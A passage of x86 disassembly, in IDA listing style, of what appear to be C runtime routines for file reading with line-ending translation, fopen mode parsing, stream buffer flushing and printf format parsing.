loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DCD80 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DCC80h[eax*4] mov eax, dword_4DCC80[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F1E4 nop call near ptr 268082Fh push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB928, 9 mov dword_4DB92C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F285 call near ptr 268082Fh nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB92C, 0 mov dword_4DB928, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB9A8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBB14 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DBB10 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DCC60 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DBC48 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DBC48 mov [edi+ecx], eax mov eax, dword_4DBC48 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C9A8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C9A8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43D0B8 jz short loc_41F5EA cmp esi, offset dword_43D0D8 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43D000 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C9A8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43CBC4 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43CBC0 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43CF50 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43CF5C pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43CF54 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43CBC0 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 